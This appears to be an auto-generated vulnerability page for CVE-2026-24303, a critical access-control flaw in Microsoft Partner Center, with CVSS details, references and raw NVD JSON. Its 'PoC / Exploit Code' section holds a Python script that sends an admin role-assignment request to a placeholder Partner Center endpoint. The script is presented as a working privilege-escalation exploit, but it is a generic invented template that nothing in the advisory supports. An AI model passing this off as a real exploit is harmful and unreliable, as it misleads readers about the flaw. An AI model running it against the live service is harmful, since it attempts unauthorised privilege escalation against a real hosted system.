CVE-2026-24303

Description

Improper access control in Microsoft Partner Center allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:partner_center:-:*:*:*:*:*:*:* - VULNERABLE

Microsoft Partner Center (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-24303 PoC Concept
# Description: Exploits improper access control to elevate privileges in Microsoft Partner Center.

target_url = "https://partner.microsoft.com/api/v1/endpoint"
auth_token = "LOW_PRIVILEGE_TOKEN_HERE"

headers = {
    "Authorization": f"Bearer {auth_token}",
    "Content-Type": "application/json"
}

# Malicious payload attempting to elevate user role
payload = {
    "userId": "victim_user_id",
    "roleId": "admin", # Exploit: bypassing check to assign admin role
    "confirm": True
}

try:
    response = requests.post(target_url, json=payload, headers=headers)
    if response.status_code == 200:
        print("[+] Exploit successful! Privileges escalated.")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24303
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24303
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24303/
[4] VulDB https://vuldb.com/cve/CVE-2026-24303
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24303

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24303", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:22.483", "lastModified": "2026-04-28T12:11:27.163", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper access control in Microsoft Partner Center allows an authorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:partner_center:-:*:*:*:*:*:*:*", "matchCriteriaId": "A400A527-15CD-4F9D-A42D-A453ABE04769"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24303", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}